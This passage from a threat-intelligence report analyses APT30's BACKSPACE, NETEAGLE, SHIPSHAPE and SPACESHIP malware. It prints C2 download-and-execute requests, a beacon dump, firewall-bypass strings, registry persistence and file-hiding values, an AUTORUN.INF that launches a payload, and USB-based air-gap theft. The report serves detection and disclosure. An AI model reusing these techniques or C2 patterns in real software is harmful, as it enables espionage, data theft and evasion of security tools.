C2 domain, used with the majority of the URIs (and their associated functions). Domain 2 (D2): (www.km153[.]com) is the backup C2 domain, which can be promoted to the primary first-stage domain instead of D1 if necessary. It also can be used to obtain run/hide configuration data (see below). Domain 3 (D3) and Domain 4 (D4) (www.km-nyc[.]com and www.bluesixnine[.]com, respectively) are used to obtain run/hide configuration data. The C2 domains used by APT30 is a single malware sample range from the brand new to more historical domains that have been in existence (and use) for several years. For reference, sample 6ee35da59f92f71e757d4d5b964ecf00 was compiled on 8/28/2014 at 09:12:33 GMT; the spear phishing attacks that dropped this BACKSPACE variant occurred on 8/29/2014. Table 9: BACKSPACE C2 domains and registration dates. Alias C2 Domain Description Zone Registration Date www.bigfixtools[.]com Primary C2 domain 8/26/2014 www.km153[.]com Backup C2 domain; run/hide configuration 8/30/2007 www.bluesixnine[.]com Run/hide configuration 12/4/2012 www.km-nyc[.]com Run/hide configuration 3/11/2004 vs Hide Mode BACKSPACE reads the registry value hFlag under HKEY_CURRENT_USER\Software\Microsoft\ CurrentPnpSetup. If it exists and is set to 1, the malware switches to "Run Mode"; otherwise, the malware operates in "Hidden Mode". To switch to Run mode , BACKSPACE attempts to contacts its C2 servers for validation and to obtain configuration data (stored in a file named nur.txt). It parses the configuration data and performs a series of increasingly generic checks to see whether (by inclusion or exclusion) it should remain in Run mode The methodology is the same as described for the sample above, differing only in the C2 domains used and the specific URI paths requested. Make an HTTP request to www.bigfixtools.com/ForZRLnk3z/hostlist.txt and validate that the last byte of the response is 0xFE. Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP address of the victim host. Make an HTTP request to either www.bluesixnine.com/http/nur.txt, www.km153.com/ http/nur.txt or www.km-nyc.com/http/nur.txt and validate that the response starts with "abcd1234"; if none of the servers respond accordingly, setting "Run Mode" fails. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation If the response from the server contains the "runhost=" option, search for the victim computer hostname in the option data. If found, setting "Run Mode" succeeds; else go to step 5. If the response from the server contains the "runhostexcept=" option, search for the victim computer s hostname in the option data. If found, setting "Run Mode" fails; else go to step 6. If the response from the server contains the "runip=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Run Mode" succeeds; else go to step 7. If the response from the server contains the "runipexcept=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Run Mode" fails; else go to step 8. If the response from the server contains the "rundir=" option, search for the current C2 URL (e.g., www.bigfixtools[.]com/ForZRLnk3z or www.km153[.]com/ForZRLnk3z) in the option data. If found, setting "Run Mode" succeeds; else go to step 9. If the response from the server contains the "rundirexcept=" option, search for the current C2 URL in the option data. If found, setting "Run Mode" fails; else go to step 10. 10. If the response from the server contains the "runweb=" option, search for the current C2 domain (e.g., www.bigfixtools.com) in the option data. If found, setting "Run Mode" succeeds; else go to step 11. 11. If the response from the server contains the "runwebexcept=" option, search for the current C2 domain in the option data. If found, setting "Run Mode" fails; else go to step 12. 12. If the response from the server contains the "runall=1" option, setting "Run Mode" succeeds. If switching to "Run Mode" fails, the malware exits. Once the malware switches to "Run Mode" the hFlag registry value under HKEY_CURRENT_USER\ Software\Microsoft\CurrentPnpSetup is deleted and the victims hostname and IP are saved. A thread to switch the malware back to "Hidden Mode" is started. The thread runs indefinitely until the MicrosoftZjZRLnkExit event gets signaled; once signaled, the thread signals MicrosoftZjZRLnkHaveExit event, does clean-up and exits. Similar to switching to Run mode BACKSPACE conducts a series of checks to attempt to switch to "Hidden Mode". The methodology is the same as described for the sample above, differing only in the C2 domains used and the specific URI paths requested. Make an HTTP request to www.bigfixtools.com/ForZRLnk3z/hostlist.txt and validate that the last byte of the response is 0xFF. Make an HTTP request to the legitimate URL automation.whatismyip.com/n09230945.asp to obtain the external IP address of the victim host. Make an HTTP request to either www.bluesixnine.com/some/edih.txt, www.km153.com/ some/edih.txt or www.km-nyc.com/some/edih.txt and validate that the response starts with "abcd1234"; if none of the servers respond accordingly, setting "Hidden Mode" fails. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation If the response from the server contains the "hidehost=" option, search for the victim computer hostname in the option data. If found, setting "Hidden Mode" succeeds; else go to step 5. If the response from the server contains the "hidehostexcept=" option, search for the victim computer s hostname in the option data. If found, setting "Hidden Mode" fails; else go to step 6. If the response from the server contains the "hideip=" option, search for the victim computer external IP (obtained in step 2) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 7. If the response from the server contains the "hideipexcept=" option, search for the victim computer s external IP (obtained in step 2) in the option data. If found, setting "Hidden Mode" fails; else go to step 8. If the response from the server contains the "hidedir=" option, search for the current C2 URL (e.g., www.bigfixtools[.]com/ForZRLnk3z or www.km153[.]com/ForZRLnk3z) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 9. If the response from the server contains the "hidedirexcept=" option, search for the current C2 URL (e.g., www.bigfixtools[.]com/ForZRLnk3z or www.km153[.]com/ForZRLnk3z) in the option data. If found, setting "Hidden Mode" fails; else go to step 10. 10. If the response from the server contains the "hideweb=" option, search for the current C2 domain (e.g., www.bigfixtools[.]com or www.km153[.]com) in the option data. If found, setting "Hidden Mode" succeeds; else go to step 11. 11. If the response from the server contains the "hidewebexcept=" option, search for the current C2 domain (e.g., www.bigfixtools[.]com or www.km153[.]com) is searched in the option data; if found, setting "Hidden Mode" fails; else go to step 12. 12. If the response from the server contains the "hideall=1" option, setting "Hidden Mode" succeeds. If switching to "Hidden Mode" succeeds, the hFlag registry value under HKEY_CURRENT_USER\Software\ Microsoft\CurrentPnpSetup is created and set to 1. If BACKSPACE is successfully placed in Run mode it performs the following additional tasks: Primary vs Backup C2 Domains The malware sends an HTTP request to www.km153[.]com/ForZRLnk3z/bak.txt. If the response starts with "qazWSX123$%^", set the primary C2 domain to www.km153[.]com. Download Additional Files BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/app. txt and saves the file to the path \Microsoft Office\BIN\WordPlug.exe. If the downloaded file is a valid PE file, start a new process. Next, BACKSPACE sends an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/ hostlist.txt. If the victim computer s hostname is found in the response, BACKSPACE sends a new HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/myapp.txt and saves the file to the path \Microsoft Office\BIN\WordForVista.exe. If the downloaded file is a valid PE file, start a new process. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation BACKSPACE then deletes the following files: \Microsoft Office\BIN\Temp.txt \Microsoft Office\BIN\UpdateWord.exe \Microsoft Office\BIN\WordPlug.exe \Microsoft Office\BIN\WordForVista.exe Self-Update Mechanism BACKSPACE uses version control and will attempt to verify the current version and perform a selfupdate as follows: Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain (www.bigfixtools[.]com or www.km153[.]com) and URL path /ForZRLnk3z/ver.txt; if the version returned does not match the version of the current binary ( "1.9.w.lY" for this sample), go to step 2 Download a new binary by making an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/exe.txt and saving the file to \Microsoft Office\BIN\ UpdateWord.exe. If \Microsoft Office\BIN\UpdateWord.exe is a valid PE, start a new process. If the previous update task fails, BACKSPACE performs a secondary update task: Obtain the latest available version number by making an HTTP to request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpVer.txt; if the version returned does not match the version of the current binary, go to step 2. Make an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpList.txt and validate that the victim computer s hostname is in the response; if true, go to step 3. Download a new binary by making an HTTP request to the primary C2 URL domain and URL path /ForZRLnk3z/SomeUpExe.txt and saving the file to \Microsoft Office\BIN\ UpdateWord.exe. If \Microsoft Office\BIN\UpdateWord.exe is a valid PE, start a new process. BACKSPACE uses the same mutex (MicrosoftZjZRLnk), and event names (MicrosoftZjZRLnkExit, MicrosoftZjZRLnkHaveExit) across different versions of the same variant. Thus, the malware can remove the previous version and update to a newer version while ensuring that only one instance of the same backdoor family is installed on a given host. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 24: APT30 decoy document related to Nepal When the malware is updated, the randomly generated hostid from the initial infection (stored in the registry) is not changed. From the attacker s perspective, this allows the identity of the victim host to remain consistent, even across multiple version updates. Second Stage C2 Server Next, BACKSPACE makes an HTTP request to the primary C2 URL domain (www.bigfixtools[.]com or www.km153[.]com) and URL path /ForZRLnk3z/dizhi.gif. Dizhi.gif is a 10-byte configuration file that specifies an IP address and two port numbers. BACKSPACE starts a new thread to send details about the victim computer (ComputerName, IP, SystemDetails, DefaultLangID, HostID, Proxy info, malware current version, malware current domain, and information about the logical drives) to Port1 on the new C2 server. The malware will use the victim computer s saved proxy settings if needed. The data is sent using an HTTP POST request with the following structure: SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Table 10: BACKSPACE ZRLnk callback structure Offset Value Description 0x00 0x30 fixed (1 byte message identifier; 0x30 = ascii 0)) 0x01 fd 00 00 00 data length = 253 bytes (4 byte length) 0x05 computer name (varying length), 0x00 0x14 192.168.43.130, 0x00 IP Address (varying length), 0x00 0x23 version information (156 bytes) 0xBF 04 08 language ID (2 bytes) 0xC1 proxy on/off (1 byte) 0xC2 41 18 00 00 host_id (4 bytes) 0xC6 1.9.w.lY version string (varying length) 0xCE (Proxy-No), 0x00 proxy setting (varying length), 0x00 0xD9 0:7, 0x00 system uptime - H:M (varying length), 0x00 0xDD www.bigfixtools.com/ForZRLnk3z, 0x00 URL where the second C2 IP is obtained(varying length), 0x00 A sample beacon is shown below. Note that the HTTP User-Agent header is set to the non-standard value SJZJ (compatible; MSIE 6.0; Win32) Figure 25: Sample BACKSPACE callback message SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation BACKSPACE also attempts to retrieve the URL path /ForZRLnk3z/connect.gif from the primary C2 URL domain. If the victim computer s hostname and hostid are found in the file, the victim will attempt to establish a connection to the second stage C2 server on Port2 to allow the threat actors to directly interact with the victim via the BACKSPACE controller.35 After establishing the connection to the controller, BACKSPACE awaits further interactive commands from the operator. For this copy of BACKSPACE, the following commands are supported: Table 11: Commands supported by BACKSPACE "ZRLnk" variant 6ee35da59f92f71e757d4d5b964ecf00 Command Meaning Same as J or S, but the file is deleted from the victim computer after transmission. Receive a folder and list of filenames from the C2 server; search the folder for the specified files (can use wildcards). For each file found, upload the encoded WIN32_FIND_ DATA36 structure to the C2 server. Receive a folder path, a list of files, and a flag byte for each file from the C2 server. Delete files for which the flag is 0x30 and remove empty folders. Receive a file path, access byte (0 for WRITE, else APPEND) and encoded data from the C2 server. Open the file according to the access byte, decode the data, and write it to the file. Receive a file path and offset from the C2 server. Read the file starting at the specified offset, encode the data, and send it to the C2 server. Receive a command line string from the C2 server and create a new process using the command. Same as J. Same as E, but the file is created in the folder and executed. Restart the C2 cycle from the self-update process (perform update, obtain secondary C2 details, send host details, receive commands, etc.). Cancel command; sends *lecnaC* to the C2 server. After each command is processed, BACKSPACE sends a status message to the C2 server; messages starting with indicate success, messages starting with indicate failure. Configuration and C2 Encoding While earlier versions of BACKSPACE may contain the C2 domains and other variables in plain text within the binary, they are encoded within this (and other more recent) variants. Decoding is done in two ways: by adding an incremental counter, or by XORing and bitwise shifting bytes. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 26: BACKSPACE string decryption by adding incremental counter Figure 27: BACKSPACE string decryption by XORing and bitwise shifting bytes In addition, binary (non-string) data transferred between the victim host and the second stage C2 server is encoded/decoded by adding an incremental counter and XORing with 0x23, as shown below. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 28: Binary data encryption by adding an incremental counter and XORing Figure 29: BACKSPACE HTTP POST showing custom encoding SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Host-Based Firewall Bypass This variant of BACKSPACE includes functionality to attempt to bypass a number of personal firewall applications. BACKSPACE iterates through open windows and matches the type (Button) and its associated Window Text against a set of strings stored within the malware. If a match is found, BACKSPACE sends a message to simulate a mouse click, attempting to approve firewall rules to allow the malware to execute. Both English and Chinese strings are stored, implying that the malware attempts to target versions of the products below that are localized for those languages.37 Table 12: Strings used in attempt to bypass host-based firewalls Security Product Meaning Avira Note action selected for this file (dangerous) F-Secure I trust the program. Let it continue. Do not show this dialog for this program again AVG Firewall Save my answer as a permanent rule, and do not ask me next time Sophos Firewall Add the checksum to existing checksums for this application Allow all hidden processes launched by Panda Security Always allow the connection TPSVARadioBtn, TPSVAButton McAfee McXpBtn2, McAlertButtonClass Others Trust Ignore Allow Allow (recommended) Remember this action Do not show this message again before rebooting Grant access Allow this change SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation NETEAGLE BACKDOOR SCOUT VARIANT The NETEAGLE backdoor appears to have been developed after BACKSPACE, with early NETEAGLE samples dating to 2008. The Scout variant (named for the mutex Neteagle_Scout used by this version) was the earlier of the two. While NETEAGLE shares some similarities with BACKSPACE, including retrieval of commands from specific URIs, automatic updating, and a two-stage command and control structure, NETEAGLE typically uses a single C2 domain (instead of up to four used by BACKSPACE) and supports a more limited set of URIs for command retrieval. In addition, NETEAGLE supports an entirely different set of commands than BACKSPACE; it is not compatible with the BACKSPACE controller and is presumed to have its own separate controller software. Later variants of NETEAGLE (e.g., the Norton versions) also support a modular plugin framework that allows the backdoor to load and execute DLLs for additional functionality. The NETEAGLE sample 3feef9a0206308ee299a05329095952a was compiled on 9 April 2009. The malware creates the directory C:\Program Files\Messenger\ and copies itself to that directory as msmsgr.exe. NETEAGLE also creates the following registry value for persistence: Value: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msmsgr Data: C:\Program Files\Messenger\msmsgr.exe NETEAGLE first attempts to retrieve the file allupdate.xml using the following HTTP request: GET /yzstmfa/allupdate.xml HTTP/1.1 User-Agent: [filename of malware] Host: www.autoapec.com Cache-Control: no-cache The file is saved to %DEFAULTUSERPROFILE%\ieupdate.exe and executed. NETEAGLE then downloads hxxp://www.autoapec[.]com/yzstmfa/update.xml and decrypts the file with the RC4 key "ScoutEagle". In the decrypted result, the malware looks for the hostname of the system. If the hostname is present, the malware downloads hxxp://www.autoapec[.]com/yzstmfa/updateapp. xml, saves it to %DEFAULTUSERPROFILE%\visit.exe and executes the file. Once the initial update URLs are downloaded, the malware creates the mutex "NetEagle_Scout" and begins the process of obtaining the second-stage C2 IP address(es) and port. NETEAGLE downloads the URL hxxp://www.autoapec[.]com/yzstmfa/pic1.bmp and RC4 decrypts the first four bytes of the response using the key "ScoutEagle". The decrypted bytes are a callback IP. If the victim computer is not configured to use a proxy, the malware sends a 363 byte UDP beacon to port 6000 on the decrypted IP. If a proxy is enabled, the malware sends the same 363 byte beacon using the following HTTP POST request: SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Figure 30: NETEAGLE 'Scout' sample beacon POST /index.htm HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Win32) Host: [Callback IP] Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000A0 000000B0 000000C0 000000D0 000000E0 000000F0 00000100 00000110 00000120 00000130 00000140 00000150 00000160 a3 0b cf 8b f9 56 ed bc 57 37 58 36 34 5f 41 4e a8 38 6f 00 00 00 00 32 77 73 20 58 50 20 36 2e 36 30 31 20 53 65 72 76 20 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 2d 32 20 31 37 3a 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4d 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 be 0f 8b 6d b8 35 db 26 .....V.. ...m.5.& 41 4c 59 53 49 53 00 c0 W7X64_AN ALYSIS.. 2e 31 38 00 69 6e 64 6f .8o....2 .18.indo 31 20 42 75 69 6c 64 37 ws XP 6. 1 Build7 69 63 65 20 50 61 63 6b 601 Serv ice Pack 00 00 00 00 00 00 00 00 1...... ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 32 30 31 35 2d ........ ...20153a 33 32 00 00 00 00 00 2-2 17:4 :32..... 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 52 45 00 00 00 ........ ...RE... 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 32 30 34 37 20 ........ ...2047 00 00 00 00 00 00 00 00 MB...... ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 00 00 00 00 00 ........ ........ 00 00 00 ........ ... The POST data consists of the following: Table 13: NETEAGLE beacon contents Data Meaning a30bcf8bf956edbcbe0f8b6db835db26 Nd5 hash of the callback URL (http://www.autoapec[.]com/ yzstmfa/pic1.bmp) W7X64_ANALYSIS Hostname of victim computer c0 a8 38 6f IP address of victim computer 2.18 Malware version Winows XP 6.1 Build7601 Service Pack 1 OS Version (truncated 'W') 2015-2-2 17:4:32 Date / time from victim computer Active username from victim computer 2047 MB Amount of memory on victim computer SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation NETEAGLE then requests the URL hxxp://www.autoapec.com/yzstmfa/pic2.bmp. The response is expected to be less than 0x17 bytes (additional data, if received, is ignored) and is decrypted using the RC4 key ScoutEagle . The decrypted response consists of the following data: [Hostname (up to 15 bytes)]\x00[IP address in network byte order][Port] If the hostname of the victim computer is listed in the decrypted response, the malware initiates a TCP connection to the specified IP and port. This session is not encrypted. The C2 protocol consists of a 4 byte DWORD command ID. If the command ID takes an argument, a 4 byte DWORD identifying the length of the argument is sent. Table 14: NETEAGLE Scout commands Command Meaning Command Meaning 0x02 Sends "NetEagle_Scout[hostname]\x00" 0x15 Get file attributes 0x03 List drives attached to the system (fixed, remote and CDROM) 0x16 Set file attributes 0x04 List directories 0x17 Get volume information 0x05 List directories with file details 0x18 Set the volume label 0x06 Rename a file or directory 0x19 Shell execute 0x07 Create file 0x20 Uninstall 0x08 Create directory 0x21 Search for file / directory 0x09 Delete file or directory 0x22 Sends NETEAGLE_SCOUT 0x10 Perform file operation 0x23 Get file information (size and last modified) 0x11 List directory contents 0x24 Establish a remote desktop session back to controller on TCP port 7519 0x12 Read file 0x25 Process listing 0x13 Write file 0x26 Read file 0x14 Get directory used space Finally, NETEAGLE downloads the URL hxxp://www.autoapec[.]com/yzstmfa/pic4.bmp. The response is decrypted with the same RC4 key ("ScoutEagle"). The format of the decrypted response is: [MD5 of file to be downloaded][URL] NETEAGLE downloads the URL to %temp%\Services.exe and executes the file. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation NETEAGLE BACKDOOR NORTON VARIANT The Norton variants of the NETEAGLE backdoor (named for the mutex Eagle-Norton360-OfficeScan used by the malware) appear to have been developed later than that Scout versions, with early samples compiled in 2013. The NETEAGLE Norton sample 8a88f8803e8db8baee537a175960cdbe was compiled on 6 November 2013. This version supports many of the same commands as the Scout version, but has several differences, including: The Norton variant does not include its own persistence mechanism.39 Use of a different mutex ( Eagle-Norton360-OfficeScan The Norton variant does not support the various HTTP requests to download and execute files (e.g., allupdate.xml, update.xml, updateapp.xml, and pic4.bmp). Although the Norton variant checks whether the victim host uses a proxy configuration, it always beacons using a proxy request. 40 Different encoding method for strings ( Norton adds 2 instead of 4). Support of different / additional commands (see below). Support for loading DLLs for additional functionality. The NETEAGLE Norton variant uses a similar process to identify its second-stage C2 server. The malware requests the file pic1.bmp from its first-stage C2 server using the following HTTP request: Figure 31: NETEAGLE "Norton" HTTP request GET /update1/pic1.bmp HTTP/1.1 User-Agent: [filename of malware] Host: www.creammemory.com Cache-Control: no-cache Similar to the Scout variant, the response is decrypted using the RC4 key ScoutEagle to obtain the IP address of the beacon server. The beacon format is the same as that used by the Scout variant. The NETEAGLE Norton variant will request the URL hxxp://www.creammemory[.]com/update1/pic2. bmp and decrypt the response with the RC4 key ScoutEagle . The expected response format is the same as that for the Scout variant: [Hostname (up to 15 bytes)]\x00[Redirect IP in network byte order][Port] SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation The NETEAGLE Norton variant supports most of the same commands as the Scout variant, with the following exceptions: Table 15: NETEAGLE "Norton" commands that differ from "Scout" variant Command Meaning 0x20 Not implemented. 0x24 Load a DLL and call the DoWork export using DoWork([C2 IP] , 81, 4003, 4004). The encoded string representing the DLL filename does not decode correctly ("PCo^jb+aii", possibly intended to be "SFrame.dll"). 0x26 Not implemented. 0x27 Load a DLL and call the DoWork export using DoWork([C2 IP] , 82, 4015, 4016). The encoded string representing the DLL filename does not decode correctly ("PJrifq+aii", possibly intended to be "SMulit.dll"). 0x28 Load a DLL and call the DoWork export using DoWork([C2 IP] , 83, 4005, 4006). The encoded string representing the DLL filename does not decode correctly ("PQikq+aii", possibly intended to be "STlnt.dll"). 0x29 Load a DLL and call the DoWork export using DoWork([C2 IP] , 84, 4009, 4010). The encoded string representing the DLL filename does not decode correctly ("PQikq+aii", possibly intended to be "SProc.dll"). MALWARE TARGETING REMOVABLE DRIVES APT30 uses three pieces of malware that are believed to have been designed to propagate to removable drives with the intent of eventually infecting and stealing data from computers located on air-gapped networks. SHIPSHAPE SHIPSHAPE samples have been identified with compile times as early as 2006 and as recently as 2014. SHIPSHAPE initially targets removable and fixed drives with less than a specific amount of space available to the SHIPSHAPE process. Earlier samples required less than 1,000,000,000 bytes (~1GB); the sample described in detail below requires less than 10,000,000,000 bytes (0x2540BE400) or approximately 10GB.41 The intent is likely to use the drive to spread malware to additional systems. The sample f18be055fae2490221c926e2ad55ab11 was compiled on 23 August, 2012. The malware replaces files and folders on targeted drives with executable files from specified paths on the SHIPSHAPEinfected system. 42 The specific files and folders replaced may vary based on the SHIPSHAPE sample. 43 Targeted files and folders are marked as hidden; SHIPSHAPE copies the specified executable file or files to the removable drive using the same names as the targeted files and folders, but with an .exe extension (for example, if the drive contained the file MyDocument.doc, SHIPSHAPE would create a file with the name MyDocument.doc.exe. A user attempting to access a document on the removable drive would potentially be tricked into running the executable instead. It is believed that the executable will open the original document or folder when executed, to disguise the fact that malicious activity is occurring. SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation When executed, SHIPSHAPE creates the mutex "MicrosoftShipZJ". The malware copies itself to %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\IDE\MSDEV.EXE. For persistence, SHIPSHAPE creates a shortcut in the user s Startup folder named "Visual Studio.lnk" using the comment "Visual Studio 2005" and a target path of %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\IDE\MSDEV. EXE (variable is expanded). The malware creates the registry key HKEY_LOCAL_MACHINE\Software\Microsoft\ShipUp with the following value and data: Value: lnk Data: Wjtvbm!Tuvejp/mol The data is the encoded name of the malware s shortcut file (in this case, Visual Studio.lnk ); the hexadecimal value of each character in the original file name is incremented by one (so (0x56) becomes (0x57) , etc.). SHIPSHAPE disables AutoRun and hides both hidden files and file extensions by setting the following registry values: HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoRun = 0x9f HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden = 0x02 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = 0x01 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\ CheckedValue = 0x00 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\ CheckedValue = 0xffffffff SHIPSHAPE searches for fixed and removable drives (DRIVE_FIXED, DRIVE_REMOVABLE). If a detected drive is less than 10,000,000,000 bytes (10GB) in size or was attached to the system after SHIPSHAPE performed its initial drive scan, SHIPSHAPE looks for the file ldupver.txt on the drive and parses the file for version information if the file is present. If the version listed in the file is greater than the malware current version ("50" for this sample), SHIPSHAPE will look for the file AUTORUN.INF on the drive and execute the "open" variable from the file, likely in an attempt to self-update. SHIPSHAPE will create (or update, if already present), the following AUTORUN.INF file on the drive: [AutoRun] open=keybd.exe shellexecute=keybd.exe shell\Auto\command=keybd.exe shell=Auto In addition, for drives that pass the size check (e.g., less than 10GB), SHIPSHAPE modifies folders and files on the drive with the .doc or .docx extension. SHIPSHAPE sets the hidden attribute on the original folder or file and copies a new file to the drive using the same name with an .exe extension. For folders, SHIPSHAPE copies the contents of the file KB925273-dir.log from the SHIPSHAPE-infected computer to the drive; for files, SHIPSHAPE copies the contents of the file KB936891-doc.log. The malware will skip over any paths on the drive beginning with XP-Update, msdn, Recycled, or $LDDATA$. 44 SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation SHIPSHAPE may use the following files (where [Install Path] is the path where SHIPSHAPE is installed on the victim computer: Table 16: Files used by SHIPSHAPE malware File Action [Install Path]\KB914268-inf.log Copied to keybd.exe on the removable disk Copied to [Install Path]\vers.ini [Install Path]\KB925273-dir.log Replaces directories on removable disk [Install Path]\KB936891-doc.log Replaces .doc, .docx files on removable disk [Install Path]\ldjs.txt Activity log upnum.txt Present in malware strings, but not used by this version [Install Path]\KB952567-mouse.log List of paths to be created on the removable disk and the files to be copied [Install Path]\NameList.doc Copied to the root of the removable disk ldupver.txt Used to store a version number ( for this variant) on a removable disk. SPACESHIP Similar to SHIPSHAPE, SPACESHIP samples have been identified with compile times ranging from 2006 to 2014. SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system. The SPACESHIP sample 11876eaadeac34527c28f4ddfadd1e8d was compiled on 23 August, 2012. When executed, the malware creates two events named "MicrosoftShipTrExit" and "MicrosoftShipTrHaveExit" along with a mutex named "MicrosoftShipTrZJ". The malware copies itself to %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\VFP6. EXE. To maintain persistence, the malware creates a shortcut in the user s Startup folder named VFP6. lnk using the comment "Visual FoxPro" and the target path %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\VFP6.EXE (all %HOMEPATH% references are expanded). As part of the installation process, SPACESHIP creates the registry key HKEY_LOCAL_MACHINE\Software\ Microsoft\ShipTr with the following value and data: Value: lnk Data: WGQ7/mol SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation Similar to other APT30 malware, the data is the name of SPACESHIP s shortcut file, with each character incremented by one. SPACESHIP also creates the following directories: %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\Docs %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf SPACESHIP first scans for files matching the pattern ldmap*.* in %HOMEPATH%\Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf. If a file is not found or is too old, the malware deletes the files ldmap.txt and Info.txt45 from %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\ Docs\. The malware then recursively scans each directory and logs all files contained in each folder (file size and last modified) in a new Info.txt file. SPACESHIP will look for configuration data stored in the file %HOMEPATH%\My Documents\Visual Studio 2005\MSDEV\FoxPro\ld.ini. The malware extracts the following keys from the sections: [DirMap] GetIt=[Integer] [Piece] Size=[Integer] [UpData] DirAndType=[String] [UpDataTime] Day=[Integer] SPACESHIP will scan the folders "My Documents" (CSIDL_PERSONAL), "Desktop" (CSIDL_DESKTOP), and My Recent Documents" (CSIDL_RECENT; the malware parses the .lnk file target paths for specified file types) and will search for files with the following extensions: Table 17: SPACESHIP targeted file extensions File Extension Document Type .doc Microsoft Word document .docx Microsoft Word document .max MAX source code file (?) .pdf Adobe Acrobat Portable Document Format .pgp Pretty Good Privacy .rhs unknown .rtf Rich Text Format .tif Tagged Image Format graphics file .wpd Word Perfect Document SPECIAL REPORT APT30 and the Mechanics of a Long-Running Cyber Espionage Operation SPACESHIP can also target files based on the last modified date using the UpDataTime/Day in the ld.ini configuration file. Identified files are copied to the %HOMEPATH%\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf directory and saved with an .ldf extension. The .ldf files are first compressed using zlib then each byte is rotated 4 positions and XOR-encoded with 0x23. SPACESHIP monitors for removable drives to be inserted into the system. When a drive is attached, SPACESHIP checks for the presence of specific files on the removable drive. If the file [Drive Letter]:\msdn\d.ini is found, SPACESHIP copies it to %HOMEPATH%\Documents\ Visual Studio 2005\MSDEV\FoxProld.ini.46 If the file [Drive Letter]:\msdn\KB947652-ver.log is present, SPACESHIP copies it to %HOMEPATH%\ Documents\Visual Studio 2005\MSDEV\FoxPro\KB947652-ver.log. SPACESHIP reads the contents of the file and compares it with its current version (the string "5.0 for this variant). If the strings do not match, SPACESHIP copies [Drive Letter]:\XP-Update\KB863113-ld.log to %HOMEPATH%\ Documents\Visual Studio 2005\MSDEV\FoxPro\~ld.exe and executes the file. SPACESHIP copies files in the %HOMEPATH%\Documents\Visual Studio 2005\MSDEV\FoxPro\Docs\ldf directory to the removable drive in the folder [Drive Letter]:\Recycled. A desktop.ini file is created that configures the directory to be opened using Recycler instead of Windows Explorer; this prevents a user from seeing the copied files using Windows Explorer. FLASHFLOOD 